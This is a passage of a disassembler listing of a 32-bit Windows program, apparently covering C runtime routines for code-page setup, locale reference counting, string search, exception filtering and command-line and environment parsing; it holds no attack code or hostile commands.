mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_408234 jmp short loc_4081BF sub_408199 endp ; =============== S U B R O U T I N E ======================================= sub_408231 proc near ; DATA XREF: seg001:0040E658o mov esi, [ebp-1Ch] sub_408231 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_408234 proc near ; CODE XREF: sub_408199+91p push 0Dh call sub_405049 pop ecx retn sub_408234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40823D proc near ; CODE XREF: sub_4082B7+19p ; sub_408490+25p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx push ebx lea ecx, [ebp+var_10] call sub_4048C8 cmp esi, 0FFFFFFFEh mov dword_411C00, ebx jnz short loc_408278 mov dword_411C00, 1 call dword_40D188 ; GetOEMCP loc_40826A: ; CODE XREF: sub_40823D+50j ; sub_40823D+67j cmp [ebp+var_4], bl jz short loc_4082B4 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_4082B4 ; --------------------------------------------------------------------------- loc_408278: ; CODE XREF: sub_40823D+1Bj cmp esi, 0FFFFFFFDh jnz short loc_40828F mov dword_411C00, 1 call dword_40D184 ; GetACP jmp short loc_40826A ; --------------------------------------------------------------------------- loc_40828F: ; CODE XREF: sub_40823D+3Ej cmp esi, 0FFFFFFFCh jnz short loc_4082A6 mov eax, [ebp+var_10] mov eax, [eax+4] mov dword_411C00, 1 jmp short loc_40826A ; --------------------------------------------------------------------------- loc_4082A6: ; CODE XREF: sub_40823D+55j cmp [ebp+var_4], bl jz short loc_4082B2 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4082B2: ; CODE XREF: sub_40823D+6Cj mov eax, esi loc_4082B4: ; CODE XREF: sub_40823D+30j ; sub_40823D+39j pop ebx leave retn sub_40823D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4082B7 proc near ; CODE XREF: sub_408490+5Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, dword_410440 xor eax, ebp mov [ebp+var_4], eax push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] push edi call sub_40823D mov edi, eax xor esi, esi cmp edi, esi mov [ebp+arg_0], edi jnz short loc_4082EE loc_4082E0: ; CODE XREF: sub_4082B7+1C1j mov eax, ebx call sub_407FBA loc_4082E7: ; CODE XREF: sub_4082B7+174j xor eax, eax jmp loc_408481 ; --------------------------------------------------------------------------- loc_4082EE: ; CODE XREF: sub_4082B7+27j mov [ebp+var_1C], esi xor eax, eax loc_4082F3: ; CODE XREF: sub_4082B7+53j cmp dword_410CB0[eax], edi jz loc_408390 inc [ebp+var_1C] add eax, 30h cmp eax, 0F0h jb short loc_4082F3 cmp edi, 0FDE8h jz loc_40847E cmp edi, 0FDE9h jz loc_40847E movzx eax, di push eax call dword_40D18C ; IsValidCodePage test eax, eax jz loc_40847E lea eax, [ebp+var_18] push eax push edi call dword_40D180 ; GetCPInfo test eax, eax jz loc_408472 push 101h lea eax, [ebx+1Ch] push esi push eax call sub_403FE0 xor edx, edx inc edx add esp, 0Ch cmp [ebp+var_18], edx mov [ebx+4], edi mov [ebx+0Ch], esi jbe loc_408465 cmp [ebp+var_12], 0 jz loc_408446 lea esi, [ebp+var_11] loc_40837A: ; CODE XREF: sub_4082B7+189j mov cl, [esi] test cl, cl jz loc_408446 movzx eax, byte ptr [esi-1] movzx ecx, cl jmp loc_408436 ; --------------------------------------------------------------------------- loc_408390: ; CODE XREF: sub_4082B7+42j push 101h lea eax, [ebx+1Ch] push esi push eax call sub_403FE0 mov ecx, [ebp+var_1C] add esp, 0Ch imul ecx, 30h mov [ebp+var_20], esi lea esi, dword_410CC0[ecx] mov [ebp+var_1C], esi jmp short loc_4083E0 ; --------------------------------------------------------------------------- loc_4083B6: ; CODE XREF: sub_4082B7+12Cj mov al, [esi+1] test al, al jz short loc_4083E5 movzx edi, byte ptr [esi] movzx eax, al jmp short loc_4083D7 ; --------------------------------------------------------------------------- loc_4083C5: ; CODE XREF: sub_4082B7+122j mov eax, [ebp+var_20] mov al, byte_410CAC[eax] or [ebx+edi+1Dh], al movzx eax, byte ptr [esi+1] inc edi loc_4083D7: ; CODE XREF: sub_4082B7+10Cj cmp edi, eax jbe short loc_4083C5 mov edi, [ebp+arg_0] inc esi inc esi loc_4083E0: ; CODE XREF: sub_4082B7+FDj ; sub_4082B7+13Ej cmp byte ptr [esi], 0 jnz short loc_4083B6 loc_4083E5: ; CODE XREF: sub_4082B7+104j mov esi, [ebp+var_1C] inc [ebp+var_20] add esi, 8 cmp [ebp+var_20], 4 mov [ebp+var_1C], esi jb short loc_4083E0 mov eax, edi mov [ebx+4], edi mov dword ptr [ebx+8], 1 call sub_407F8B push 6 mov [ebx+0Ch], eax lea eax, [ebx+10h] lea ecx, dword_410CB4[ecx] pop edx loc_408417: ; CODE XREF: sub_4082B7+16Bj mov si, [ecx] inc ecx mov [eax], si inc ecx inc eax inc eax dec edx jnz short loc_408417 loc_408424: ; CODE XREF: sub_4082B7+1B9j mov esi, ebx call sub_40800F jmp loc_4082E7 ; --------------------------------------------------------------------------- loc_408430: ; CODE XREF: sub_4082B7+181j or byte ptr [ebx+eax+1Dh], 4 inc eax loc_408436: ; CODE XREF: sub_4082B7+D4j cmp eax, ecx jbe short loc_408430 inc esi inc esi cmp byte ptr [esi-1], 0 jnz loc_40837A loc_408446: ; CODE XREF: sub_4082B7+BAj ; sub_4082B7+C7j lea eax, [ebx+1Eh] mov ecx, 0FEh loc_40844E: ; CODE XREF: sub_4082B7+19Cj or byte ptr [eax], 8 inc eax dec ecx jnz short loc_40844E mov eax, [ebx+4] call sub_407F8B mov [ebx+0Ch], eax mov [ebx+8], edx jmp short loc_408468 ; --------------------------------------------------------------------------- loc_408465: ; CODE XREF: sub_4082B7+B0j mov [ebx+8], esi loc_408468: ; CODE XREF: sub_4082B7+1ACj xor eax, eax lea edi, [ebx+10h] stosd stosd stosd jmp short loc_408424 ; --------------------------------------------------------------------------- loc_408472: ; CODE XREF: sub_4082B7+8Cj cmp dword_411C00, esi jnz loc_4082E0 loc_40847E: ; CODE XREF: sub_4082B7+5Bj ; sub_4082B7+67j ... or eax, 0FFFFFFFFh loc_408481: ; CODE XREF: sub_4082B7+32j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_403F45 leave retn sub_4082B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408490 proc near ; CODE XREF: sub_40862A+Bp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004085FC SIZE 0000002E BYTES push 14h push offset dword_40E660 call __SEH_prolog4 or [ebp+var_20], 0FFFFFFFFh call sub_4064E8 mov edi, eax mov [ebp+var_24], edi call sub_408199 mov ebx, [edi+68h] mov esi, [ebp+arg_0] call sub_40823D mov [ebp+arg_0], eax cmp eax, [ebx+4] jz loc_40861D push 220h call sub_409323 pop ecx mov ebx, eax test ebx, ebx jz loc_408621 mov ecx, 88h mov esi, [edi+68h] mov edi, ebx rep movsd and dword ptr [ebx], 0 push ebx push [ebp+arg_0] call sub_4082B7 pop ecx pop ecx mov [ebp+var_20], eax test eax, eax jnz loc_4085FC mov esi, [ebp+var_24] push dword ptr [esi+68h] call dword_40D16C ; InterlockedDecrement test eax, eax jnz short loc_408521 mov eax, [esi+68h] cmp eax, offset dword_410880 jz short loc_408521 push eax call sub_40405A pop ecx loc_408521: ; CODE XREF: sub_408490+7Ej ; sub_408490+88j mov [esi+68h], ebx push ebx mov edi, dword_40D160 call edi ; InterlockedIncrement test byte ptr [esi+70h], 2 jnz loc_408621 test byte ptr dword_410DA4, 1 jnz loc_408621 push 0Dh call sub_405121 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [ebx+4] mov dword_411C10, eax mov eax, [ebx+8] mov dword_411C14, eax mov eax, [ebx+0Ch] mov dword_411C18, eax xor eax, eax loc_40856A: ; CODE XREF: sub_408490+F0j mov [ebp+var_1C], eax cmp eax, 5 jge short loc_408582 mov cx, [ebx+eax*2+10h] mov word_411C04[eax*2], cx inc eax jmp short loc_40856A ; --------------------------------------------------------------------------- loc_408582: ; CODE XREF: sub_408490+E0j xor eax, eax loc_408584: ; CODE XREF: sub_408490+109j mov [ebp+var_1C], eax cmp eax, 101h jge short loc_40859B mov cl, [eax+ebx+1Ch] mov byte_410AA0[eax], cl inc eax jmp short loc_408584 ; --------------------------------------------------------------------------- loc_40859B: ; CODE XREF: sub_408490+FCj xor eax, eax loc_40859D: ; CODE XREF: sub_408490+125j mov [ebp+var_1C], eax cmp eax, 100h jge short loc_4085B7 mov cl, [eax+ebx+11Dh] mov byte_410BA8[eax], cl inc eax jmp short loc_40859D ; --------------------------------------------------------------------------- loc_4085B7: ; CODE XREF: sub_408490+115j push dword_410CA8 call dword_40D16C ; InterlockedDecrement test eax, eax jnz short loc_4085DA mov eax, dword_410CA8 cmp eax, offset dword_410880 jz short loc_4085DA push eax call sub_40405A pop ecx loc_4085DA: ; CODE XREF: sub_408490+135j ; sub_408490+141j mov dword_410CA8, ebx push ebx call edi ; InterlockedIncrement mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_4085F1 jmp short loc_408621 sub_408490 endp ; =============== S U B R O U T I N E ======================================= sub_4085F1 proc near ; CODE XREF: sub_408490+15Ap ; DATA XREF: seg001:0040E678o push 0Dh call sub_405049 pop ecx retn sub_4085F1 endp ; --------------------------------------------------------------------------- jmp short loc_408621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408490 loc_4085FC: ; CODE XREF: sub_408490+6Aj cmp eax, 0FFFFFFFFh jnz short loc_408621 cmp ebx, offset dword_410880 jz short loc_408610 push ebx call sub_40405A pop ecx loc_408610: ; CODE XREF: sub_408490+177j call sub_403F8F mov dword ptr [eax], 16h jmp short loc_408621 ; --------------------------------------------------------------------------- loc_40861D: ; CODE XREF: sub_408490+30j and [ebp+var_20], 0 loc_408621: ; CODE XREF: sub_408490+45j ; sub_408490+A1j ... mov eax, [ebp+var_20] call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_408490 ; =============== S U B R O U T I N E ======================================= sub_40862A proc near ; CODE XREF: sub_408B89+Cp ; sub_408BE6+Dp ... cmp dword_413BB8, 0 jnz short loc_408645 push 0FFFFFFFDh call sub_408490 pop ecx mov dword_413BB8, 1 loc_408645: ; CODE XREF: sub_40862A+7j xor eax, eax retn sub_40862A endp ; =============== S U B R O U T I N E ======================================= sub_408648 proc near ; CODE XREF: sub_406500+E8p ; sub_40889A+31p arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] mov eax, [esi+0BCh] xor ebp, ebp cmp eax, ebp push edi jz short loc_4086CB cmp eax, offset off_411248 jz short loc_4086CB mov eax, [esi+0B0h] cmp eax, ebp jz short loc_4086CB cmp [eax], ebp jnz short loc_4086CB mov eax, [esi+0B8h] cmp eax, ebp jz short loc_408692 cmp [eax], ebp jnz short loc_408692 push eax call sub_40405A push dword ptr [esi+0BCh] call sub_40B4F8 pop ecx pop ecx loc_408692: ; CODE XREF: sub_408648+31j ; sub_408648+35j mov eax, [esi+0B4h] cmp eax, ebp jz short loc_4086B3 cmp [eax], ebp jnz short loc_4086B3 push eax call sub_40405A push dword ptr [esi+0BCh] call sub_40B4B8 pop ecx pop ecx loc_4086B3: ; CODE XREF: sub_408648+52j ; sub_408648+56j push dword ptr [esi+0B0h] call sub_40405A push dword ptr [esi+0BCh] call sub_40405A pop ecx pop ecx loc_4086CB: ; CODE XREF: sub_408648+12j ; sub_408648+19j ... mov eax, [esi+0C0h] cmp eax, ebp jz short loc_408719 cmp [eax], ebp jnz short loc_408719 mov eax, [esi+0C4h] sub eax, 0FEh push eax call sub_40405A mov eax, [esi+0CCh] mov edi, 80h sub eax, edi push eax call sub_40405A mov eax, [esi+0D0h] sub eax, edi push eax call sub_40405A push dword ptr [esi+0C0h] call sub_40405A add esp, 10h loc_408719: ; CODE XREF: sub_408648+8Bj ; sub_408648+8Fj lea edi, [esi+0D4h] mov eax, [edi] cmp eax, offset off_411188 jz short loc_40873F cmp [eax+0B4h], ebp jnz short loc_40873F push eax call sub_40B328 push dword ptr [edi] call sub_40405A pop ecx pop ecx loc_40873F: ; CODE XREF: sub_408648+DEj ; sub_408648+E6j push 6 lea edi, [esi+50h] pop ebx loc_408745: ; CODE XREF: sub_408648+132j cmp dword ptr [edi-8], offset dword_410DA8 jz short loc_40875F mov eax, [edi] cmp eax, ebp jz short loc_40875F cmp [eax], ebp jnz short loc_40875F push eax call sub_40405A pop ecx loc_40875F: ; CODE XREF: sub_408648+104j ; sub_408648+10Aj ... cmp [edi-4], ebp jz short loc_408776 mov eax, [edi+4] cmp eax, ebp jz short loc_408776 cmp [eax], ebp jnz short loc_408776 push eax call sub_40405A pop ecx loc_408776: ; CODE XREF: sub_408648+11Aj ; sub_408648+121j ... add edi, 10h dec ebx jnz short loc_408745 push esi call sub_40405A pop ecx pop edi pop esi pop ebp pop ebx retn sub_408648 endp ; =============== S U B R O U T I N E ======================================= sub_408788 proc near ; CODE XREF: sub_4063B2+9Ep ; sub_40889A+12p arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, dword_40D160 push esi call edi ; InterlockedIncrement mov eax, [esi+0B0h] test eax, eax jz short loc_4087A6 push eax call edi ; InterlockedIncrement loc_4087A6: ; CODE XREF: sub_408788+19j mov eax, [esi+0B8h] test eax, eax jz short loc_4087B3 push eax call edi ; InterlockedIncrement loc_4087B3: ; CODE XREF: sub_408788+26j mov eax, [esi+0B4h] test eax, eax jz short loc_4087C0 push eax call edi ; InterlockedIncrement loc_4087C0: ; CODE XREF: sub_408788+33j mov eax, [esi+0C0h] test eax, eax jz short loc_4087CD push eax call edi ; InterlockedIncrement loc_4087CD: ; CODE XREF: sub_408788+40j push 6 lea ebx, [esi+50h] pop ebp loc_4087D3: ; CODE XREF: sub_408788+71j cmp dword ptr [ebx-8], offset dword_410DA8 jz short loc_4087E5 mov eax, [ebx] test eax, eax jz short loc_4087E5 push eax call edi ; InterlockedIncrement loc_4087E5: ; CODE XREF: sub_408788+52j ; sub_408788+58j cmp dword ptr [ebx-4], 0 jz short loc_4087F5 mov eax, [ebx+4] test eax, eax jz short loc_4087F5 push eax call edi ; InterlockedIncrement loc_4087F5: ; CODE XREF: sub_408788+61j ; sub_408788+68j add ebx, 10h dec ebp jnz short loc_4087D3 mov eax, [esi+0D4h] add eax, 0B4h push eax call edi ; InterlockedIncrement pop edi pop esi pop ebp pop ebx retn sub_408788 endp ; =============== S U B R O U T I N E ======================================= sub_40880E proc near ; CODE XREF: sub_406500+CCp ; sub_40889A+1Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_408896 push ebx push ebp push edi mov edi, dword_40D16C push esi call edi ; InterlockedDecrement mov eax, [esi+0B0h] test eax, eax jz short loc_408830 push eax call edi ; InterlockedDecrement loc_408830: ; CODE XREF: sub_40880E+1Dj mov eax, [esi+0B8h] test eax, eax jz short loc_40883D push eax call edi ; InterlockedDecrement loc_40883D: ; CODE XREF: sub_40880E+2Aj mov eax, [esi+0B4h] test eax, eax jz short loc_40884A push eax call edi ; InterlockedDecrement loc_40884A: ; CODE XREF: sub_40880E+37j mov eax, [esi+0C0h] test eax, eax jz short loc_408857 push eax call edi ; InterlockedDecrement loc_408857: ; CODE XREF: sub_40880E+44j push 6 lea ebx, [esi+50h] pop ebp loc_40885D: ; CODE XREF: sub_40880E+75j cmp dword ptr [ebx-8], offset dword_410DA8 jz short loc_40886F mov eax, [ebx] test eax, eax jz short loc_40886F push eax call edi ; InterlockedDecrement loc_40886F: ; CODE XREF: sub_40880E+56j ; sub_40880E+5Cj cmp dword ptr [ebx-4], 0 jz short loc_40887F mov eax, [ebx+4] test eax, eax jz short loc_40887F push eax call edi ; InterlockedDecrement loc_40887F: ; CODE XREF: sub_40880E+65j ; sub_40880E+6Cj add ebx, 10h dec ebp jnz short loc_40885D mov eax, [esi+0D4h] add eax, 0B4h push eax call edi ; InterlockedDecrement pop edi pop ebp pop ebx loc_408896: ; CODE XREF: sub_40880E+7j mov eax, esi pop esi retn sub_40880E endp ; =============== S U B R O U T I N E ======================================= sub_40889A proc near ; CODE XREF: sub_4088D8+54p test edi, edi jz short loc_4088D5 test eax, eax jz short loc_4088D5 push esi mov esi, [eax] cmp esi, edi jz short loc_4088D1 push edi mov [eax], edi call sub_408788 test esi, esi pop ecx jz short loc_4088D1 push esi call sub_40880E cmp dword ptr [esi], 0 pop ecx jnz short loc_4088D1 cmp esi, offset dword_410DB0 jz short loc_4088D1 push esi call sub_408648 pop ecx loc_4088D1: ; CODE XREF: sub_40889A+Dj ; sub_40889A+1Aj ... mov eax, edi pop esi retn ; --------------------------------------------------------------------------- loc_4088D5: ; CODE XREF: sub_40889A+2j ; sub_40889A+6j xor eax, eax retn sub_40889A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088D8 proc near ; CODE XREF: sub_4048C8+37p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_40E680 call __SEH_prolog4 call sub_4064E8 mov esi, eax mov eax, dword_410DA4 test [esi+70h], eax jz short loc_408917 cmp dword ptr [esi+6Ch], 0 jz short loc_408917 call sub_4064E8 mov esi, [eax+6Ch] loc_408903: ; CODE XREF: sub_4088D8+68j test esi, esi jnz short loc_40890F push 20h call sub_40422F pop ecx loc_40890F: ; CODE XREF: sub_4088D8+2Dj mov eax, esi call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_408917: ; CODE XREF: sub_4088D8+1Bj ; sub_4088D8+21j push 0Ch call sub_405121 pop ecx and [ebp+ms_exc.disabled], 0 lea eax, [esi+6Ch] mov edi, off_410E88 call sub_40889A mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_408942 jmp short loc_408903 sub_4088D8 endp ; =============== S U B R O U T I N E ======================================= sub_408942 proc near ; CODE XREF: sub_4088D8+63p ; DATA XREF: seg001:0040E698o push 0Ch call sub_405049 pop ecx mov esi, [ebp-1Ch] retn sub_408942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40894E proc near ; CODE XREF: sub_40497F+9Bp ; sub_40497F+ADp var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push ebx push esi push [ebp+arg_4] lea ecx, [ebp+var_18] call sub_4048C8 mov ebx, [ebp+arg_0] mov esi, 100h cmp ebx, esi jnb short loc_4089C1 mov ecx, [ebp+var_18] cmp dword ptr [ecx+0ACh], 1 jle short loc_40898D lea eax, [ebp+var_18] push eax push 1 push ebx call sub_40AB1F mov ecx, [ebp+var_18] add esp, 0Ch jmp short loc_40899A ; --------------------------------------------------------------------------- loc_40898D: ; CODE XREF: sub_40894E+29j mov eax, [ecx+0C8h] movzx eax, byte ptr [eax+ebx*2] and eax, 1 loc_40899A: ; CODE XREF: sub_40894E+3Dj test eax, eax jz short loc_4089AD mov eax, [ecx+0CCh] movzx eax, byte ptr [eax+ebx] jmp loc_408A54 ; --------------------------------------------------------------------------- loc_4089AD: ; CODE XREF: sub_40894E+4Ej ; sub_40894E+EAj cmp [ebp+var_C], 0 jz short loc_4089BA mov eax, [ebp+var_10] and dword ptr [eax+70h], 0FFFFFFFDh loc_4089BA: ; CODE XREF: sub_40894E+63j mov eax, ebx jmp loc_408A61 ; --------------------------------------------------------------------------- loc_4089C1: ; CODE XREF: sub_40894E+1Dj mov eax, [ebp+var_18] cmp dword ptr [eax+0ACh], 1 jle short loc_4089FE mov [ebp+arg_0], ebx sar [ebp+arg_0], 8 lea eax, [ebp+var_18] push eax mov eax, [ebp+arg_0] and eax, 0FFh push eax call sub_40A886 test eax, eax pop ecx pop ecx jz short loc_4089FE mov al, byte ptr [ebp+arg_0] push 2 mov [ebp+var_4], al mov [ebp+var_3], bl mov [ebp+var_2], 0 pop ecx jmp short loc_408A13 ; --------------------------------------------------------------------------- loc_4089FE: ; CODE XREF: sub_40894E+7Dj ; sub_40894E+9Cj call sub_403F8F mov dword ptr [eax], 2Ah xor ecx, ecx mov [ebp+var_4], bl mov [ebp+var_3], 0 inc ecx loc_408A13: ; CODE XREF: sub_40894E+AEj mov eax, [ebp+var_18] push 1 push dword ptr [eax+4] lea edx, [ebp+var_8] push 3 push edx push ecx lea ecx, [ebp+var_4] push ecx push esi push dword ptr [eax+14h] lea eax, [ebp+var_18] push eax call sub_40B0ED add esp, 24h test eax, eax jz loc_4089AD cmp eax, 1 jnz short loc_408A49 movzx eax, [ebp+var_8] jmp short loc_408A54 ; --------------------------------------------------------------------------- loc_408A49: ; CODE XREF: sub_40894E+F3j movzx ecx, [ebp+var_7] xor eax, eax mov ah, [ebp+var_8] or eax, ecx loc_408A54: ; CODE XREF: sub_40894E+5Aj ; sub_40894E+F9j cmp [ebp+var_C], 0 jz short loc_408A61 mov ecx, [ebp+var_10] and dword ptr [ecx+70h], 0FFFFFFFDh loc_408A61: ; CODE XREF: sub_40894E+6Ej ; sub_40894E+10Aj pop esi pop ebx leave retn sub_40894E endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_408A86 loc_408A70: ; CODE XREF: sub_408A86+19j lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_408A86 ; --------------------------------------------------------------------------- align 10h xor eax, eax mov al, [esp+8] ; =============== S U B R O U T I N E ======================================= sub_408A86 proc near ; CODE XREF: sub_404AB0+74j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00408A70 SIZE 00000005 BYTES push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_408AAD loc_408A98: ; CODE XREF: sub_408A86+25j mov cl, [edx] add edx, 1 cmp cl, bl jz short loc_408A70 test cl, cl jz short loc_408AF6 test edx, 3 jnz short loc_408A98 loc_408AAD: ; CODE XREF: sub_408A86+10j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_408AB8: ; CODE XREF: sub_408A86+5Dj ; sub_408A86+6Cj ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_408AFA and eax, 81010100h jz short loc_408AB8 and eax, 1010100h jnz short loc_408AF4 and esi, 80000000h jnz short loc_408AB8 loc_408AF4: ; CODE XREF: sub_408A86+64j ; sub_408A86+7Dj ... pop esi pop edi loc_408AF6: ; CODE XREF: sub_408A86+1Dj pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_408AFA: ; CODE XREF: sub_408A86+56j mov eax, [edx-4] cmp al, bl jz short loc_408B37 test al, al jz short loc_408AF4 cmp ah, bl jz short loc_408B30 test ah, ah jz short loc_408AF4 shr eax, 10h cmp al, bl jz short loc_408B29 test al, al jz short loc_408AF4 cmp ah, bl jz short loc_408B22 test ah, ah jz short loc_408AF4 jmp short loc_408AB8 ; --------------------------------------------------------------------------- loc_408B22: ; CODE XREF: sub_408A86+94j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_408B29: ; CODE XREF: sub_408A86+8Cj lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_408B30: ; CODE XREF: sub_408A86+81j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_408B37: ; CODE XREF: sub_408A86+79j lea eax, [edx-4] pop esi pop edi pop ebx retn sub_408A86 endp ; =============== S U B R O U T I N E ======================================= sub_408B3E proc near ; DATA XREF: sub_408B7Bo arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_408B76 cmp dword ptr [eax+10h], 3 jnz short loc_408B76 mov eax, [eax+14h] cmp eax, 19930520h jz short loc_408B71 cmp eax, 19930521h jz short loc_408B71 cmp eax, 19930522h jz short loc_408B71 cmp eax, 1994000h jnz short loc_408B76 loc_408B71: ; CODE XREF: sub_408B3E+1Cj ; sub_408B3E+23j ... call sub_40773B loc_408B76: ; CODE XREF: sub_408B3E+Cj ; sub_408B3E+12j ... xor eax, eax retn 4 sub_408B3E endp ; =============== S U B R O U T I N E ======================================= sub_408B7B proc near ; DATA XREF: seg001:0040D23Co push offset sub_408B3E call dword_40D120 ; SetUnhandledExceptionFilter xor eax, eax retn sub_408B7B endp ; =============== S U B R O U T I N E ======================================= sub_408B89 proc near ; CODE XREF: seg001:loc_404CF1p push esi push edi xor edi, edi cmp dword_413BB8, edi jnz short loc_408B9A call sub_40862A loc_408B9A: ; CODE XREF: sub_408B89+Aj mov esi, dword_413BA4 test esi, esi jnz short loc_408BA9 mov esi, offset byte_40D9D7 loc_408BA9: ; CODE XREF: sub_408B89+19j ; sub_408B89+4Bj mov al, [esi] cmp al, 20h ja short loc_408BB7 test al, al jz short loc_408BE1 test edi, edi jz short loc_408BDB loc_408BB7: ; CODE XREF: sub_408B89+24j cmp al, 22h jnz short loc_408BC4 xor ecx, ecx test edi, edi setz cl mov edi, ecx loc_408BC4: ; CODE XREF: sub_408B89+30j movzx eax, al push eax call sub_40B671 test eax, eax pop ecx jz short loc_408BD3 inc esi loc_408BD3: ; CODE XREF: sub_408B89+47j inc esi jmp short loc_408BA9 ; --------------------------------------------------------------------------- loc_408BD6: ; CODE XREF: sub_408B89+56j cmp al, 20h ja short loc_408BE1 inc esi loc_408BDB: ; CODE XREF: sub_408B89+2Cj mov al, [esi] test al, al jnz short loc_408BD6 loc_408BE1: ; CODE XREF: sub_408B89+28j ; sub_408B89+4Fj pop edi mov eax, esi pop esi retn sub_408B89 endp ; =============== S U B R O U T I N E ======================================= sub_408BE6 proc near ; CODE XREF: seg001:loc_404CCEp push ebx xor ebx, ebx cmp dword_413BB8, ebx push esi push edi jnz short loc_408BF8 call sub_40862A loc_408BF8: ; CODE XREF: sub_408BE6+Bj mov esi, dword_411414 xor edi, edi cmp esi, ebx jnz short loc_408C1C loc_408C04: ; CODE XREF: sub_408BE6+51j or eax, 0FFFFFFFFh jmp loc_408CA7 ; --------------------------------------------------------------------------- loc_408C0C: ; CODE XREF: sub_408BE6+3Aj cmp al, 3Dh jz short loc_408C11 inc edi loc_408C11: ; CODE XREF: sub_408BE6+28j push esi call sub_404F20 pop ecx lea esi, [esi+eax+1] loc_408C1C: ; CODE XREF: sub_408BE6+1Cj mov al, [esi] cmp al, bl jnz short loc_408C0C push 4 inc edi push edi call sub_409363 mov edi, eax cmp edi, ebx pop ecx pop ecx mov dword_4113F0, edi jz short loc_408C04 mov esi, dword_411414 push ebp jmp short loc_408C82 ; --------------------------------------------------------------------------- loc_408C42: ; CODE XREF: sub_408BE6+9Ej push esi call sub_404F20 mov ebp, eax inc ebp cmp byte ptr [esi], 3Dh pop ecx jz short loc_408C80 push 1 push ebp call sub_409363 cmp eax, ebx pop ecx pop ecx mov [edi], eax jz short loc_408CAB push esi push ebp push eax call sub_404EAF add esp, 0Ch test eax, eax jz short loc_408C7D push ebx push ebx push ebx push ebx push ebx call sub_404D8F add esp, 14h loc_408C7D: ; CODE XREF: sub_408BE6+88j add edi, 4 loc_408C80: ; CODE XREF: sub_408BE6+69j add esi, ebp loc_408C82: ; CODE XREF: sub_408BE6+5Aj cmp [esi], bl jnz short loc_408C42 push dword_411414 call sub_40405A mov dword_411414, ebx mov [edi], ebx mov dword_413BAC, 1 xor eax, eax loc_408CA5: ; CODE XREF: sub_408BE6+D9j pop ecx pop ebp loc_408CA7: ; CODE XREF: sub_408BE6+21j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_408CAB: ; CODE XREF: sub_408BE6+79j push dword_4113F0 call sub_40405A mov dword_4113F0, ebx or eax, 0FFFFFFFFh jmp short loc_408CA5 sub_408BE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408CC1 proc near ; CODE XREF: sub_408E59+55p ; sub_408E59+96p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_8] push ebx xor eax, eax cmp [ebp+arg_0], eax push esi mov [edi], eax mov esi, edx mov edx, [ebp+arg_4] mov dword ptr [ecx], 1 jz short loc_408CE7 mov ebx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ebx], edx loc_408CE7: ; CODE XREF: sub_408CC1+1Bj mov [ebp+var_4], eax loc_408CEA: ; CODE XREF: sub_408CC1+7Ej ; sub_408CC1+88j cmp byte ptr [esi], 22h jnz short loc_408CFF xor eax, eax cmp [ebp+var_4], eax mov bl, 22h setz al inc esi mov [ebp+var_4], eax jmp short loc_408D3B ; --------------------------------------------------------------------------- loc_408CFF: ; CODE XREF: 